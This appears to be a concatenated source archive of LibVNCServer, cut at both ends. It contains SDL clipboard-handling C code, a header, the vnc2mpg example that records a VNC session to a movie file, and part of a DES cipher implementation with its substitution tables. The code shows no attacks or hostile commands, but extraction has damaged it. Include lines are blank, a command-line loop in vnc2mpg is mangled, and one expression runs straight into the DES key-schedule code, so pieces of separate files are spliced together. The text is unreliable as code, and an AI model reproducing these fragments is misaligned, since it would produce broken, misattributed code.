#endif /* scrap type */ return(retval); } void put_scrap(int type, int srclen, const char *src) { scrap_type format; int dstlen; char *dst; format = convert_format(type); dstlen = convert_data(type, NULL, src, srclen); #if defined(X11_SCRAP) dst = (char *)malloc(dstlen); if (dst != NULL) { if (Lock_Display) Lock_Display(); convert_data(type, dst, src, srclen); XChangeProperty(SDL_Display, DefaultRootWindow(SDL_Display), XA_CUT_BUFFER0, format, 8, PropModeReplace, (unsigned char *)dst, dstlen); free(dst); if (lost_scrap()) XSetSelectionOwner(SDL_Display, XA_PRIMARY, SDL_Window, CurrentTime); if (Unlock_Display) Unlock_Display(); } #elif defined(WIN_SCRAP) if (OpenClipboard(SDL_Window)) { HANDLE hMem; hMem = GlobalAlloc((GMEM_MOVEABLE|GMEM_DDESHARE), dstlen); if (hMem != NULL) { dst = (char *)GlobalLock(hMem); convert_data(type, dst, src, srclen); GlobalUnlock(hMem); EmptyClipboard(); SetClipboardData(format, hMem); } CloseClipboard(); } #elif defined(QNX_SCRAP) #if (_NTO_VERSION < 620) /* before 6.2.0 releases */ #define PhClipboardHdr PhClipHeader #endif { PhClipboardHdr clheader = { Ph_CLIPBOARD_TYPE_TEXT, 0, NULL }; int* cldata; int status; dst = (char *)malloc(dstlen+4); if (dst != NULL) { cldata = (int*)dst; *cldata = type; convert_data(type, dst+4, src, srclen); clheader.data = dst; #if (_NTO_VERSION < 620) /* before 6.2.0 releases */ if (dstlen > 65535) /* maximum photon clipboard size :(*/ clheader.length = 65535; else #endif clheader.length = dstlen+4; status = PhClipboardCopy(InputGroup, 1, &clheader); if (status == -1) fprintf(stderr, "Photon: copy to clipboard failed!\n"); free(dst); } } #endif /* scrap type */ } void get_scrap(int type, int *dstlen, char **dst) { scrap_type format; *dstlen = 0; format = convert_format(type); #if defined(X11_SCRAP) { Window owner; Atom selection; Atom seln_type; int seln_format; unsigned long nbytes; unsigned long overflow; char *src; if (Lock_Display) Lock_Display(); owner = XGetSelectionOwner(SDL_Display, XA_PRIMARY); if (Unlock_Display) Unlock_Display(); if ((owner == None) || (owner == SDL_Window)) { owner = DefaultRootWindow(SDL_Display); selection = XA_CUT_BUFFER0; } else { int selection_response = 0; SDL_Event event; owner = SDL_Window; if (Lock_Display) Lock_Display(); selection = XInternAtom(SDL_Display, "SDL_SELECTION", False); XConvertSelection(SDL_Display, XA_PRIMARY, format, selection, owner, CurrentTime); if (Unlock_Display) Unlock_Display(); while (!selection_response) { SDL_WaitEvent(&event); if (event.type == SDL_SYSWMEVENT) { XEvent xevent = event.syswm.msg->event.xevent; if ((xevent.type == SelectionNotify) && (xevent.xselection.requestor == owner)) selection_response = 1; } } } if (Lock_Display) Lock_Display(); if (XGetWindowProperty(SDL_Display, owner, selection, 0, INT_MAX/4, False, format, &seln_type, &seln_format, &nbytes, &overflow, (unsigned char **)&src) == Success) { if (seln_type == format) { *dstlen = convert_scrap(type, NULL, src, nbytes); *dst = (char *)realloc(*dst, *dstlen); if (*dst == NULL) *dstlen = 0; else convert_scrap(type, *dst, src, nbytes); } XFree(src); } } if (Unlock_Display) Unlock_Display(); #elif defined(WIN_SCRAP) if (IsClipboardFormatAvailable(format) && OpenClipboard(SDL_Window)) { HANDLE hMem; char *src; hMem = GetClipboardData(format); if (hMem != NULL) { src = (char *)GlobalLock(hMem); *dstlen = convert_scrap(type, NULL, src, 0); *dst = (char *)realloc(*dst, *dstlen); if (*dst == NULL) *dstlen = 0; else convert_scrap(type, *dst, src, 0); GlobalUnlock(hMem); } CloseClipboard(); } #elif defined(QNX_SCRAP) #if (_NTO_VERSION < 620) /* before 6.2.0 releases */ { void* clhandle; PhClipHeader* clheader; int* cldata; clhandle = PhClipboardPasteStart(InputGroup); if (clhandle != NULL) { clheader = PhClipboardPasteType(clhandle, Ph_CLIPBOARD_TYPE_TEXT); if (clheader != NULL) { cldata = clheader->data; if ((clheader->length>4) && (*cldata == type)) { *dstlen = convert_scrap(type, NULL, (char*)clheader->data+4, clheader->length-4); *dst = (char *)realloc(*dst, *dstlen); if (*dst == NULL) *dstlen = 0; else convert_scrap(type, *dst, (char*)clheader->data+4, clheader->length-4); } } PhClipboardPasteFinish(clhandle); } } #else /* 6.2.0 and 6.2.1 and future releases */ { void* clhandle; PhClipboardHdr* clheader; int* cldata; clheader=PhClipboardRead(InputGroup, Ph_CLIPBOARD_TYPE_TEXT); if (clheader!=NULL) { cldata=clheader->data; if ((clheader->length>4) && (*cldata==type)) { *dstlen = convert_scrap(type, NULL, (char*)clheader->data+4, clheader->length-4); *dst = (char *)realloc(*dst, *dstlen); if (*dst == NULL) *dstlen = 0; else convert_scrap(type, *dst, (char*)clheader->data+4, clheader->length-4); } } } #endif #endif /* scrap type */ } int clipboard_filter(const SDL_Event *event) { #if defined(X11_SCRAP) /* Post all non-window manager specific events */ if (event->type != SDL_SYSWMEVENT) return(1); /* Handle window-manager specific clipboard events */ switch (event->syswm.msg->event.xevent.type) { /* Copy the selection from XA_CUT_BUFFER0 to the requested property */ case SelectionRequest: { XSelectionRequestEvent *req; XEvent sevent; int seln_format; unsigned long nbytes; unsigned long overflow; unsigned char *seln_data; req = &event->syswm.msg->event.xevent.xselectionrequest; if (req->target == XA_TARGETS) { Atom supported[] = { XA_TEXT, XA_COMPOUND_TEXT, XA_UTF8_STRING, XA_TARGETS, XA_STRING }; XEvent response; XChangeProperty(SDL_Display, req->requestor, req->property, req->target, 32, PropModeReplace, (unsigned char*)supported, sizeof(supported) / sizeof(supported[0])); response.xselection.property=None; response.xselection.type= SelectionNotify; response.xselection.display= req->display; response.xselection.requestor= req->requestor; response.xselection.selection=req->selection; response.xselection.target= req->target; response.xselection.time = req->time; XSendEvent (SDL_Display, req->requestor,0,0,&response); XFlush (SDL_Display); return 1; } sevent.xselection.type = SelectionNotify; sevent.xselection.display = req->display; sevent.xselection.selection = req->selection; sevent.xselection.target = None; sevent.xselection.property = req->property; sevent.xselection.requestor = req->requestor; sevent.xselection.time = req->time; if (XGetWindowProperty(SDL_Display, DefaultRootWindow(SDL_Display), XA_CUT_BUFFER0, 0, INT_MAX/4, False, req->target, &sevent.xselection.target, &seln_format, &nbytes, &overflow, &seln_data) == Success) { if (sevent.xselection.target == req->target) { if (sevent.xselection.target == XA_STRING && nbytes > 0 && seln_data[nbytes-1] == '\0') --nbytes; XChangeProperty(SDL_Display, req->requestor, req->property, sevent.xselection.target, seln_format, PropModeReplace, seln_data, nbytes); sevent.xselection.property = req->property; } XFree(seln_data); } XSendEvent(SDL_Display,req->requestor,False,0,&sevent); XSync(SDL_Display, False); break; } } /* Post the event for X11 clipboard reading above */ #endif /* X11_SCRAP */ return(1); } libvncserver-LibVNCServer-0.9.11/client_examples/scrap.h000066400000000000000000000007431303145525000232070ustar00rootroot00000000000000/* Handle clipboard text and data in arbitrary formats */ /* Miscellaneous defines */ #define T(A, B, C, D) (int)((A<<24)|(B<<16)|(C<<8)|(D<<0)) #ifdef __cplusplus extern "C" { #endif /* __cplusplus */ extern int init_scrap(void); extern int lost_scrap(void); extern void put_scrap(int type, int srclen, const char *src); extern void get_scrap(int type, int *dstlen, char **dst); extern int clipboard_filter(const SDL_Event *event); #ifdef __cplusplus } #endif /* __cplusplus */ libvncserver-LibVNCServer-0.9.11/client_examples/vnc2mpg.c000066400000000000000000000276311303145525000234530ustar00rootroot00000000000000/** * @example vnc2mpg.c * Simple movie writer for vnc; based on Libavformat API example from FFMPEG * * Copyright (c) 2003 Fabrice Bellard, 2004 Johannes E. Schindelin * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include #include #ifndef M_PI #define M_PI 3.1415926535897931 #endif #include "avformat.h" #include #define STREAM_FRAME_RATE 25 /* 25 images/s */ /**************************************************************/ /* video output */ AVFrame *picture, *tmp_picture; uint8_t *video_outbuf; int frame_count, video_outbuf_size; /* add a video output stream */ AVStream *add_video_stream(AVFormatContext *oc, int codec_id, int w, int h) { AVCodecContext *c; AVStream *st; st = av_new_stream(oc, 0); if (!st) { fprintf(stderr, "Could not alloc stream\n"); exit(1); } #if LIBAVFORMAT_BUILD<4629 c = &st->codec; #else c = st->codec; #endif c->codec_id = codec_id; c->codec_type = CODEC_TYPE_VIDEO; /* put sample parameters */ c->bit_rate = 800000; /* resolution must be a multiple of two */ c->width = w; c->height = h; /* frames per second */ #if LIBAVCODEC_BUILD<4754 c->frame_rate = STREAM_FRAME_RATE; c->frame_rate_base = 1; #else c->time_base.den = STREAM_FRAME_RATE; c->time_base.num = 1; c->pix_fmt = PIX_FMT_YUV420P; #endif c->gop_size = 12; /* emit one intra frame every twelve frames at most */ if (c->codec_id == CODEC_ID_MPEG2VIDEO) { /* just for testing, we also add B frames */ c->max_b_frames = 2; } if (c->codec_id == CODEC_ID_MPEG1VIDEO){ /* needed to avoid using macroblocks in which some coeffs overflow this doesn't happen with normal video, it just happens here as the motion of the chroma plane doesn't match the luma plane */ c->mb_decision=2; } /* some formats want stream headers to be separate */ if(!strcmp(oc->oformat->name, "mp4") || !strcmp(oc->oformat->name, "mov") || !strcmp(oc->oformat->name, "3gp")) c->flags |= CODEC_FLAG_GLOBAL_HEADER; return st; } AVFrame *alloc_picture(int pix_fmt, int width, int height) { AVFrame *picture; uint8_t *picture_buf; int size; picture = avcodec_alloc_frame(); if (!picture) return NULL; size = avpicture_get_size(pix_fmt, width, height); picture_buf = malloc(size); if (!picture_buf) { av_free(picture); return NULL; } avpicture_fill((AVPicture *)picture, picture_buf, pix_fmt, width, height); return picture; } void open_video(AVFormatContext *oc, AVStream *st) { AVCodec *codec; AVCodecContext *c; #if LIBAVFORMAT_BUILD<4629 c = &st->codec; #else c = st->codec; #endif /* find the video encoder */ codec = avcodec_find_encoder(c->codec_id); if (!codec) { fprintf(stderr, "codec not found\n"); exit(1); } /* open the codec */ if (avcodec_open(c, codec) < 0) { fprintf(stderr, "could not open codec\n"); exit(1); } video_outbuf = NULL; if (!(oc->oformat->flags & AVFMT_RAWPICTURE)) { /* allocate output buffer */ /* XXX: API change will be done */ video_outbuf_size = 200000; video_outbuf = malloc(video_outbuf_size); } /* allocate the encoded raw picture */ picture = alloc_picture(c->pix_fmt, c->width, c->height); if (!picture) { fprintf(stderr, "Could not allocate picture\n"); exit(1); } /* if the output format is not RGB565, then a temporary RGB565 picture is needed too. It is then converted to the required output format */ tmp_picture = NULL; if (c->pix_fmt != PIX_FMT_RGB565) { tmp_picture = alloc_picture(PIX_FMT_RGB565, c->width, c->height); if (!tmp_picture) { fprintf(stderr, "Could not allocate temporary picture\n"); exit(1); } } } void write_video_frame(AVFormatContext *oc, AVStream *st) { int out_size, ret; AVCodecContext *c; AVFrame *picture_ptr; #if LIBAVFORMAT_BUILD<4629 c = &st->codec; #else c = st->codec; #endif if (c->pix_fmt != PIX_FMT_RGB565) { /* as we only generate a RGB565 picture, we must convert it to the codec pixel format if needed */ img_convert((AVPicture *)picture, c->pix_fmt, (AVPicture *)tmp_picture, PIX_FMT_RGB565, c->width, c->height); } picture_ptr = picture; if (oc->oformat->flags & AVFMT_RAWPICTURE) { /* raw video case. The API will change slightly in the near futur for that */ AVPacket pkt; av_init_packet(&pkt); pkt.flags |= PKT_FLAG_KEY; pkt.stream_index= st->index; pkt.data= (uint8_t *)picture_ptr; pkt.size= sizeof(AVPicture); ret = av_write_frame(oc, &pkt); } else { /* encode the image */ out_size = avcodec_encode_video(c, video_outbuf, video_outbuf_size, picture_ptr); /* if zero size, it means the image was buffered */ if (out_size != 0) { AVPacket pkt; av_init_packet(&pkt); pkt.pts= c->coded_frame->pts; if(c->coded_frame->key_frame) pkt.flags |= PKT_FLAG_KEY; pkt.stream_index= st->index; pkt.data= video_outbuf; pkt.size= out_size; /* write the compressed frame in the media file */ ret = av_write_frame(oc, &pkt); } else { ret = 0; } } if (ret != 0) { fprintf(stderr, "Error while writing video frame\n"); exit(1); } frame_count++; } void close_video(AVFormatContext *oc, AVStream *st) { avcodec_close(st->codec); av_free(picture->data[0]); av_free(picture); if (tmp_picture) { av_free(tmp_picture->data[0]); av_free(tmp_picture); } av_free(video_outbuf); } static const char *filename; static AVOutputFormat *fmt; static AVFormatContext *oc; static AVStream *video_st; static double video_pts; static int movie_open(int w, int h) { if (fmt->video_codec != CODEC_ID_NONE) { video_st = add_video_stream(oc, fmt->video_codec, w, h); } else return 1; /* set the output parameters (must be done even if no parameters). */ if (av_set_parameters(oc, NULL) < 0) { fprintf(stderr, "Invalid output format parameters\n"); return 2; } dump_format(oc, 0, filename, 1); /* now that all the parameters are set, we can open the audio and video codecs and allocate the necessary encode buffers */ if (video_st) open_video(oc, video_st); /* open the output file, if needed */ if (!(fmt->flags & AVFMT_NOFILE)) { if (url_fopen(&oc->pb, filename, URL_WRONLY) < 0) { fprintf(stderr, "Could not open '%s'\n", filename); return 3; } } /* write the stream header, if any */ av_write_header(oc); return 0; } static int movie_close() { int i; /* close each codec */ close_video(oc, video_st); /* write the trailer, if any */ av_write_trailer(oc); /* free the streams */ for(i = 0; i < oc->nb_streams; i++) { av_freep(&oc->streams[i]); } if (!(fmt->flags & AVFMT_NOFILE)) { /* close the output file */ url_fclose(&oc->pb); } /* free the stream */ av_free(oc); } static rfbBool quit=FALSE; static void signal_handler(int signal) { fprintf(stderr,"Cleaning up.\n"); quit=TRUE; } /**************************************************************/ /* VNC callback functions */ static rfbBool resize(rfbClient* client) { static rfbBool first=TRUE; if(!first) { movie_close(); perror("I don't know yet how to change resolutions!\n"); } movie_open(client->width, client->height); signal(SIGINT,signal_handler); if(tmp_picture) client->frameBuffer=tmp_picture->data[0]; else client->frameBuffer=picture->data[0]; return TRUE; } static void update(rfbClient* client,int x,int y,int w,int h) { } /**************************************************************/ /* media file output */ int main(int argc, char **argv) { time_t stop=0; rfbClient* client; int i,j; /* get a vnc client structure (don't connect yet). */ client = rfbGetClient(5,3,2); client->format.redShift=11; client->format.redMax=31; client->format.greenShift=5; client->format.greenMax=63; client->format.blueShift=0; client->format.blueMax=31; /* initialize libavcodec, and register all codecs and formats */ av_register_all(); if(!strncmp(argv[argc-1],":",1) || !strncmp(argv[argc-1],"127.0.0.1",9) || !strncmp(argv[argc-1],"localhost",9)) client->appData.encodingsString="raw"; filename=0; for(i=1;ii+1 && !strcmp("-o",argv[i])) { filename=argv[2]; j+=2; } else if(argc>i+1 && !strcmp("-t",argv[i])) { stop=time(0)+atoi(argv[i+1]); j+=2; } if(j>i) { argc-=j-i; memmove(argv+i,argv+j,(argc-i)*sizeof(char*)); i--; } } /* auto detect the output format from the name. default is mpeg. */ fmt = filename?guess_format(NULL, filename, NULL):0; if (!fmt) { printf("Could not deduce output format from file extension: using MPEG.\n"); fmt = guess_format("mpeg", NULL, NULL); } if (!fmt) { fprintf(stderr, "Could not find suitable output format\n"); exit(1); } /* allocate the output media context */ oc = av_alloc_format_context(); if (!oc) { fprintf(stderr, "Memory error\n"); exit(1); } oc->oformat = fmt; snprintf(oc->filename, sizeof(oc->filename), "%s", filename); /* add the audio and video streams using the default format codecs and initialize the codecs */ video_st = NULL; /* open VNC connection */ client->MallocFrameBuffer=resize; client->GotFrameBufferUpdate=update; if(!rfbInitClient(client,&argc,argv)) { printf("usage: %s [-o output_file] [-t seconds] server:port\n" "Shoot a movie from a VNC server.\n", argv[0]); exit(1); } if(client->serverPort==-1) client->vncRec->doNotSleep = TRUE; /* vncrec playback */ /* main loop */ while(!quit) { int i=WaitForMessage(client,1000000/STREAM_FRAME_RATE); if(i<0) { movie_close(); return 0; } if(i) if(!HandleRFBServerMessage(client)) quit=TRUE; else { /* compute current audio and video time */ video_pts = (double)video_st->pts.val * video_st->time_base.num / video_st->time_base.den; /* write interleaved audio and video frames */ write_video_frame(oc, video_st); } if(stop!=0 && stop> 3] & bytebit[m]) ? 1 : 0; } for( i = 0; i < 16; i++ ) { if( edf == DE1 ) m = (15 - i) << 1; else m = i << 1; n = m + 1; kn[m] = kn[n] = 0L; for( j = 0; j < 28; j++ ) { l = j + totrot[i]; if( l < 28 ) pcr[j] = pc1m[l]; else pcr[j] = pc1m[l - 28]; } for( j = 28; j < 56; j++ ) { l = j + totrot[i]; if( l < 56 ) pcr[j] = pc1m[l]; else pcr[j] = pc1m[l - 28]; } for( j = 0; j < 24; j++ ) { if( pcr[pc2[j]] ) kn[m] |= bigbyte[j]; if( pcr[pc2[j+24]] ) kn[n] |= bigbyte[j]; } } cookey(kn); return; } static void cookey(register unsigned long *raw1) { register unsigned long *cook, *raw0; unsigned long dough[32]; register int i; cook = dough; for( i = 0; i < 16; i++, raw1++ ) { raw0 = raw1++; *cook = (*raw0 & 0x00fc0000L) << 6; *cook |= (*raw0 & 0x00000fc0L) << 10; *cook |= (*raw1 & 0x00fc0000L) >> 10; *cook++ |= (*raw1 & 0x00000fc0L) >> 6; *cook = (*raw0 & 0x0003f000L) << 12; *cook |= (*raw0 & 0x0000003fL) << 16; *cook |= (*raw1 & 0x0003f000L) >> 4; *cook++ |= (*raw1 & 0x0000003fL); } rfbUseKey(dough); return; } void rfbCPKey(register unsigned long *into) { register unsigned long *from, *endp; from = KnL, endp = &KnL[32]; while( from < endp ) *into++ = *from++; return; } void rfbUseKey(register unsigned long *from) { register unsigned long *to, *endp; to = KnL, endp = &KnL[32]; while( to < endp ) *to++ = *from++; return; } void rfbDes(unsigned char *inblock, unsigned char *outblock) { unsigned long work[2]; scrunch(inblock, work); desfunc(work, KnL); unscrun(work, outblock); return; } static void scrunch(register unsigned char *outof, register unsigned long *into) { *into = (*outof++ & 0xffL) << 24; *into |= (*outof++ & 0xffL) << 16; *into |= (*outof++ & 0xffL) << 8; *into++ |= (*outof++ & 0xffL); *into = (*outof++ & 0xffL) << 24; *into |= (*outof++ & 0xffL) << 16; *into |= (*outof++ & 0xffL) << 8; *into |= (*outof & 0xffL); return; } static void unscrun(register unsigned long *outof, register unsigned char *into) { *into++ = (unsigned char)((*outof >> 24) & 0xffL); *into++ = (unsigned char)((*outof >> 16) & 0xffL); *into++ = (unsigned char)((*outof >> 8) & 0xffL); *into++ = (unsigned char)( *outof++ & 0xffL); *into++ = (unsigned char)((*outof >> 24) & 0xffL); *into++ = (unsigned char)((*outof >> 16) & 0xffL); *into++ = (unsigned char)((*outof >> 8) & 0xffL); *into = (unsigned char)( *outof & 0xffL); return; } static unsigned long SP1[64] = { 0x01010400L, 0x00000000L, 0x00010000L, 0x01010404L, 0x01010004L, 0x00010404L, 0x00000004L, 0x00010000L, 0x00000400L, 0x01010400L, 0x01010404L, 0x00000400L, 0x01000404L, 0x01010004L, 0x01000000L, 0x00000004L, 0x00000404L, 0x01000400L, 0x01000400L, 0x00010400L, 0x00010400L, 0x01010000L, 0x01010000L, 0x01000404L, 0x00010004L, 0x01000004L, 0x01000004L, 0x00010004L, 0x00000000L, 0x00000404L, 0x00010404L, 0x01000000L, 0x00010000L, 0x01010404L, 0x00000004L, 0x01010000L, 0x01010400L, 0x01000000L, 0x01000000L, 0x00000400L, 0x01010004L, 0x00010000L, 0x00010400L, 0x01000004L, 0x00000400L, 0x00000004L, 0x01000404L, 0x00010404L, 0x01010404L, 0x00010004L, 0x01010000L, 0x01000404L, 0x01000004L, 0x00000404L, 0x00010404L, 0x01010400L, 0x00000404L, 0x01000400L, 0x01000400L, 0x00000000L, 0x00010004L, 0x00010400L, 0x00000000L, 0x01010004L }; static unsigned long SP2[64] = { 0x80108020L, 0x80008000L, 0x00008000L, 0x00108020L, 0x00100000L, 0x00000020L, 0x80100020L, 0x80008020L, 0x80000020L, 0x80108020L, 0x80108000L, 0x80000000L, 0x80008000L, 0x00100000L, 0x00000020L, 0x80100020L, 0x00108000L, 0x00100020L, 0x80008020L, 0x00000000L, 0x80000000L, 0x00008000L, 0x00108020L, 0x80100000L, 0x00100020L, 0x80000020L, 0x00000000L, 0x00108000L, 0x00008020L, 0x80108000L, 0x80100000L, 0x00008020L, 0x00000000L, 0x00108020L, 0x80100020L, 0x00100000L, 0x80008020L, 0x80100000L, 0x80108000L, 0x00008000L, 0x80100000L, 0x80008000L, 0x00000020L, 0x80108020L, 0x00108020L, 0x00000020L, 0x00008000L, 0x80000000L, 0x00008020L, 0x80108000L, 0x00100000L, 0x80000020L, 0x00100020L, 0x80008020L, 0x80000020L, 0x00100020L, 0x00108000L, 0x00000000L, 0x80008000L, 0x00008020L, 0x80000000L, 0x80100020L, 0x80108020L, 0x00108000L }; static unsigned long SP3[64] = { 0x00000208L, 0x08020200L, 0x00000000L, 0x08020008L, 0x08000200L, 0x00000000L, 0x00020208L, 0x08000200L, 0x00020008L, 0x08000008L, 0x08000008L, 0x00020000L, 0x08020208L, 0x00020008L, 0x08020000L, 0x00000208L, 0x08000000L, 0x00000008L, 0x08020200L, 0x00000200L, 0x00020200L, 0x08020000L, 0x08020008L, 0x00020208L, 0x08000208L, 0x00020200L, 0x00020000L, 0x08000208L, 0x00000008L, 0x08020208L, 0x00000200L, 0x08000000L, 0x08020200L, 0x08000000L, 0x00020008L, 0x00000208L, 0x00020000L, 0x08020200L, 0x08000200L, 0x00000000L, 0x00000200L, 0x00020008L, 0x08020208L, 0x08000200L, 0x08000008L, 0x00000200L, 0x00000000L, 0x08020008L, 0x08000208L, 0x00020000L, 0x08000000L, 0x08020208L, 0x00000008L, 0x00020208L, 0x00020200L, 0x08000008L, 0x08020000L, 0x08000208L, 0x00000208L, 0x08020000L, 0x00020208L, 0x00000008L, 0x08020008L, 0x00020200L }; static unsigned long SP4[64] = { 0x00802001L, 0x00002081L, 0x00002081L, 0x00000080L, 0x00802080L, 0x00800081L, 0x00800001L, 0x00002001L, 0x00000000L, 0x00802000L, 0x00802000L, 0x00802081L, 0x00000081L, 0x00000000L, 0x00800080L, 0x00800001L, 0x00000001L, 0x00002000L, 0x00800000L, 0x00802001L, 0x00000080L, 0x00800000L, 0x00002001L, 0x00002080L, 0x00800081L, 0x00000001L, 0x00002080L, 0x00800080L, 0x00002000L, 0x00802080L, 0x00802081L, 0x00000081L, 0x00800080L, 0x00800001L, 0x00802000L, 0x00802081L, 0x00000081L, 0x00000000L, 0x00000000L, 0x00802000L, 0x00002080L, 0x00800080L, 0x00800081L, 0x00000001L, 0x00802001L, 0x00002081L, 0x00002081L, 0x00000080L, 0x00802081L, 0x00000081L, 0x00000001L, 0x00002000L, 0x00800001L, 0x00002001L, 0x00802080L, 0x00800081L, 0x00002001L, 0x00002080L, 0x00800000L, 0x00802001L, 0x00000080L, 0x00800000L, 0x00002000L, 0x00802080L }; static unsigned long SP5[64] = { 0x00000100L, 0x02080100L, 0x02080000L, 0x42000100L, 0x00080000L, 0x00000100L, 0x40000000L, 0x02080000L, 0x40080100L, 0x00080000L, 0x02000100L, 0x40080100L, 0x42000100L, 0x42080000L, 0x00080100L, 0x40000000L, 0x02000000L, 0x40080000L, 0x40080000L, 0x00000000L, 0x40000100L, 0x42080100L, 0x42080100L, 0x02000100L, 0x42080000L, 0x40000100L, 0x00000000L, 0x42000000L, 0x02080100L, 0x02000000L, 0x42000000L, 0x00080100L, 0x00080000L, 0x42000100L, 0x00000100L, 0x02000000L, 0x40000000L, 0x02080000L, 0x42000100L, 0x40080100L, 0x02000100L, 0x40000000L, 0x42080000L, 0x02080100L, 0x40080100L, 0x00000100L, 0x02000000L, 0x42080000L, 0x42080100L, 0x00080100L, 0x42000000L, 0x42080100L, 0x02080000L, 0x00000000L, 0x40080000L, 0x42000000L, 0x00080100L, 0x02000100L, 0x40000100L, 0x00080000L, 0x00000000L, 0x40080000L, 0x02080100L, 0x40000100L }; static unsigned long SP6[64] = { 0x20000010L, 0x20400000L, 0x00004000L, 0x20404010L, 0x20400000L, 0x00000010L, 0x20404010L, 0x00400000L, 0x20004000L, 0x00404010L, 0x00400000L, 0x20000010L, 0x00400010L, 0x20004000L, 0x20000000L, 0x00004010L, 0x00000000L, 0x00400010L, 0x20004010L, 0x00004000L, 0x00404000L, 0x20004010L, 0x00000010L, 0x20400010L, 0x20400010L, 0x00000000L, 0x00404010L, 0x20404000L, 0x00004010L, 0x00404000L, 0x20404000L, 0x20000000L, 0x20004000L, 0x00000010L, 0x20400010L, 0x00404000L, 0x20404010L, 0x00400000L, 0x00004010L, 0x20000010L, 0x00400000L, 0x20004000L, 0x20000000L, 0x00004010L, 0x20000010L, 0x20404010L, 0x00404000L, 0x20400000L, 0x00404010L, 0x20404000L, 0x00000000L, 0x20400010L, 0x00000010L, 0x00004000L, 0x20400000L, 0x00404010L, 0x00004000L, 0x00400010L, 0x20004010L, 0x00000000L, 0x20404000L, 0x20000000L, 0x00400010L, 0x20004010L }; static unsigned long SP7[64] = { 0x00200000L, 0x04200002L, 0x04000802L, 0x00000000L, 0x00000800L, 0x04000802L, 0x00200802L, 0x04200800L, 0x04200802L, 0x00200000L, 0x00000000L, 0x04000002L, 0x00000002L, 0x04000000L, 0x04200002L, 0x00000802L, 0x04000800L, 0x00200802L, 0x00200002L, 0x04000800L, 0x04000002L, 0x04200000L, 0x04200800L, 0x00200002L, 0x04200000L, 0x00000800L, 0x00000802L, 0x04200802L, 0x00200800L, 0x00000002L, 0x04000000L, 0x00200800L, 0x04000000L, 0x00200800L, 0x00200000L, 0x04000802L, 0x04000802L, 0x04200002L, 0x04200002L, 0x00000002L, 0x00200002L, 0x04000000L, 0x04000800L, 0x00200000L, 0x04200800L, 0x00000802L, 0x00200802L, 0x04200800L, 0x00000802L, 0x04000002L, 0x04200802L, 0x04200000L, 0x00200800L, 0x00000000L, 0x00000002L, 0x04200802L, 0x00000000L, 0x00200802L, 0x04200000L, 0x00000800L, 0x04000002L, 0x04000800L, 0x00000800L, 0x00200002L }; static unsigned long SP8[64] = { 0x10001040L, 0x00001000L, 0x00040000L, 0x10041040L, 0x10000000L, 0x10001040L, 0x00000040L, 0x10000000L, 0x00040040L, 0x10040000L, 0x10041040L, 0x00041000L, 0x10041000L, 0x00041040L, 0x00001000L, 0x00000040L, 0x10040000L, 0x10000040L, 0x10001000L, 0x00001040L, 0x00041000L, 0x00040040L, 0x10040040L, 0x10041000L, 0x00001040L, 0x00000000L, 0x00000000L, 0x10040040L, 0x10000040L, 0x10001000L, 0x00041040L, 0x00040000L, 0x00041040L, 0x00040000L, 0x10041000L, 0x00001000L, 0x00000040L, 0x10040040L, 0x00001000L, 0x00041040L, 0x10001000L, 0x00000040L, 0x10000040L, 0x10040000L, 0x10040040L, 0x10000000L, 0x00040000L, 0x10001040L, 0x00000000L, 0x10041040L, 0x00040040L, 0x10000040L, 0x10040000L, 0x10001000L, 0x10001040L, 0x00000000L, 0x10041040L, 0x00041000L, 0x00041000L, 0x00001040L, 0x00001040L, 0x00040040L, 0x10000000L, 0x10041000L }; static void desfunc(register unsigned long *block, register unsigned long *keys) { register unsigned long fval, work, right, leftt; register int round; leftt = block[0]; right = block[1]; work = ((leftt >> 4) ^ right) & 0x0f0f0f0fL; right ^= work; leftt ^= (work << 4); work = ((leftt >> 16) ^ right) & 0x0000ffffL; right ^= work; leftt ^= (work << 16); work = ((right >> 2) ^ leftt) & 0x33333333L; leftt ^= work; right ^= (work << 2); work = ((right >> 8) ^ leftt) & 0x00ff00ffL; leftt ^= work; right ^= (work << 8); right = ((right << 1) | ((right >> 31) & 1L)) & 0xffffffffL; work = (leftt ^ right) & 0xaaaaaaaaL; leftt ^= work; right ^= work; leftt = ((leftt << 1) | ((leftt >> 31) & 1L)) & 0xffffffffL; for( round = 0; round < 8; round++ ) { work = (right << 28) | (right >> 4); work ^= *keys++; fval = SP7[ work & 0x3fL]; fval |= SP5[(work >> 8) & 0x3fL]; fval |= SP3[(work >> 16) & 0x3fL]; fval |= SP1[(work >> 24) & 0x3fL]; work = right ^ *keys++; fval |= SP8[ work & 0x3fL]; fval |= SP6[(work >> 8) & 0x3fL]; fval |= SP4[(work >> 16) & 0x3fL]; fval |= SP2[(work >> 24) & 0x3fL]; leftt ^= fval; work = (leftt << 28) | (leftt >> 4); work ^= *keys++; fval = SP7[ work & 0x3fL]; fval |= SP5[(work >> 8) & 0x3fL]; fval |= SP3[(work >> 16) & 0x3fL]; fval |= SP1[(work >> 24) & 0x3fL]; work = leftt ^ *keys++; fval |= SP8[ work & 0x3fL]; fval |= SP6[(work >> 8) & 0x3fL]; fval |= SP4[(work >> 16) & 0x3fL]; fval |= SP2[(work >> 24) & 0x3fL]; right ^= fval; } right = (right << 31) | (right >> 1); work = (leftt ^ right) & 0xaaaaaaaaL; leftt ^= work; right ^= work; leftt = (leftt << 31) | (leftt >> 1); work = ((leftt >> 8) ^ right) & 0x00ff00ffL; right ^= work; leftt ^= (work << 8); work = ((leftt >> 2) ^ right) & 0x33333333L; right ^= work; leftt ^= (work << 2); work = ((right >> 16) ^ leftt) & 0x0000ffffL; leftt ^= work; right ^= (work << 16); work = ((right >> 4) ^ leftt) & 0x0f0f0f0fL; leftt ^= work; right ^= (work << 4); *block++ = right; *block = 